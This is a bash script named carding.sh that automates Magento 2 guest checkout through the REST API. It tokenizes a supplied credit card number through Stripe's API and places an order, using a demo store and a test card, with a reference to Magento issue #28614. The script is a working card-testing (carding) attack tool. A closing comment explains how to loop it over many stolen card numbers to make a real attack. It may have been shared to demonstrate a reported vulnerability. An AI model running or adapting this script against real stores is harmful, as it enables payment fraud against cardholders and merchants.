carding.sh

#!/bin/bash

MAGE_BASE_URL="$1"
MAGE_SKU="$2"
PAYMENT_KEY="$3"
PAYMENT_METHOD="$4"
STORE_VIEW="$5"

CREDIT_CARD="$6"
CREDIT_CARD_CVC="$7"
CREDIT_CARD_EXP_M="$8"
CREDIT_CARD_EXP_Y="$9"
CC_LAST_4="${CREDIT_CARD:(-4)}"

FIRST_NAME="${10}"
LAST_NAME="${11}"

COUNTRY="${12}"

MAGE_CART_ID=$(curl -X POST https://${MAGE_BASE_URL}/rest/${STORE_VIEW}/V1/guest-carts 2>&1 | grep -oP '(?<=").*(?=")')


YELLOW="\e[33;40m"
RESET="\e[0m"

function YELLOWTXT() {
        MESSAGE=${@:-"${RESET}Error: No message passed"}
        echo -e "  ${YELLOW}${MESSAGE}${RESET}"
}

echo
echo
YELLOWTXT "Put item into => cartid => \"${MAGE_CART_ID}\""
echo

curl -X POST "https://${MAGE_BASE_URL}/rest/${STORE_VIEW}/V1/guest-carts/${MAGE_CART_ID}/items" \
	-H "accept: application/json" -H "Content-Type: application/json" \
	-d "{ \"cartItem\": { \"sku\": \"${MAGE_SKU}\", \"qty\": 1 }}"

echo
echo
YELLOWTXT "Get our cart to see whats inside"
echo

curl -X GET "https://${MAGE_BASE_URL}/rest/${STORE_VIEW}/V1/guest-carts/${MAGE_CART_ID}" \
	-H "accept: application/json" -H "Content-Type: application/json"


echo
echo
YELLOWTXT "Set shipping information"
echo

curl -g -X POST "https://${MAGE_BASE_URL}/rest/${STORE_VIEW}/V1/guest-carts/${MAGE_CART_ID}/shipping-information" \
        -H "accept: application/json" -H "Content-Type: application/json" \
        -d '
{
    "addressInformation": {
        "shippingAddress": {
            "region": "MH",
            "region_id": 0,
            "country_id": "IN",
            "street": [
                "Chakala,Kalyan (e)"
            ],
            "company": "abc",
            "telephone": "1111111",
            "postcode": "12223",
            "city": "Mumbai",
            "firstname": "Carding Attack . Issue #28614",
            "lastname": "https://github.com/magento/magento2/issues/28614",
            "email": "abc@abc.com",
            "prefix": "address_",
            "region_code": "MH",
            "sameAsBilling": 1
        },
        "billingAddress": {
            "region": "MH",
            "region_id": 0,
            "country_id": "IN",
            "street": [
                "Chakala,Kalyan (e)"
            ],
            "company": "abc",
            "telephone": "1111111",
            "postcode": "12223",
            "city": "Mumbai",
            "firstname": "Looney",
            "lastname": "Tunes",
            "email": "abc@abc.com",
            "prefix": "address_",
            "region_code": "MH"
        },
        "shipping_method_code": "flatrate",
        "shipping_carrier_code": "flatrate"
    }} '



echo
echo
YELLOWTXT "Get payment info available for this cart"
echo

curl -X GET "https://${MAGE_BASE_URL}/rest/${STORE_VIEW}/V1/guest-carts/${MAGE_CART_ID}/payment-information" \
	-H "accept: application/json" -H "Content-Type: application/json"


STRIPE_TOKEN=$(curl -X POST "https://api.stripe.com/v1/payment_methods" \
	-H "accept: application/json" -H "Content-Type: application/x-www-form-urlencoded" \
	-d "type=card&billing_details[name]=${FIRST_NAME}+${LAST_NAME}&billing_details[email]=test%40test.com&billing_details[phone]=0123456789&billing_details[address][city]=test&billing_details[address][country]=${COUNTRY}&billing_details[address][line1]=12&billing_details[address][line2]=Address+Line+2&billing_details[address][postal_code]=12345&card[number]=${CREDIT_CARD}&card[cvc]=${CREDIT_CARD_CVC}&card[exp_month]=${CREDIT_CARD_EXP_M}&card[exp_year]=${CREDIT_CARD_EXP_Y}&guid=0e131851-af5e-48b0-8a6e-464e759e5a6a72eb11&muid=547efd02-991f-4f2e-8e8a-6216c01bfb6e24c1e2&sid=2b9ae9ae-142f-4e8f-a071-dba6228fa06071128c&payment_user_agent=stripe.js%2Fda6ade09%3B+stripe-js-v3%2Fda6ade09&time_on_page=41197&referrer=https%3A%2F%2F${MAGE_BASE_URL}%2F&key=${PAYMENT_KEY}" 2>&1 | grep  -oP '(?<="id": ").*(?=")')


echo
echo
YELLOWTXT "Payment gateway id => \"${STRIPE_TOKEN}\""
echo

echo
echo
YELLOWTXT "Set payment and create order"
echo

ORDER_ID=$(curl -sS -X POST "https://${MAGE_BASE_URL}/rest/${STORE_VIEW}/V1/guest-carts/${MAGE_CART_ID}/payment-information" \
        -H "accept: application/json" -H "Content-Type: application/json" \
	-d "
{\"cartId\":\"${MAGE_CART_ID}\",\"billingAddress\":{\"countryId\":\"${COUNTRY}\",\"region\":\"\",\"street\":[\"12\",\"Address Line 2\"],\"company\":\"Company Name (optional)\",\"telephone\":\"0123456789\",\"postcode\":\"12345\",\"city\":\"test\",\"firstname\":\"${FIRST_NAME}\",\"lastname\":\"${LAST_NAME}\",\"saveInAddressBook\":null},\"paymentMethod\":{\"method\":\"${PAYMENT_METHOD}\",\"additional_data\":{\"cc_stripejs_token\":\"${STRIPE_TOKEN}:visa:${CC_LAST_4}\",\"cc_saved\":\"new_card\",\"cc_save\":true}},\"email\":\"test@test.com\"}")

echo
echo
YELLOWTXT "Order Id => ${ORDER_ID}"
echo

bash carding.sh \
stripe-magento2.cryozonic.com \
24-MB04 \
pk_test_yeUMEs4OSHVVA6MIl9dCpJ4F \
stripe_payments \
all \
4111111111111111 \
123 \
12 \
23 \
Looney \
Tunes \
GB

#magento/magento2#28614

many asking there is only one order, well, yes it is,
to create real attack you need to load credit card details into array and loop last 2 requests,
break up array to properly feed data using lines 9-16.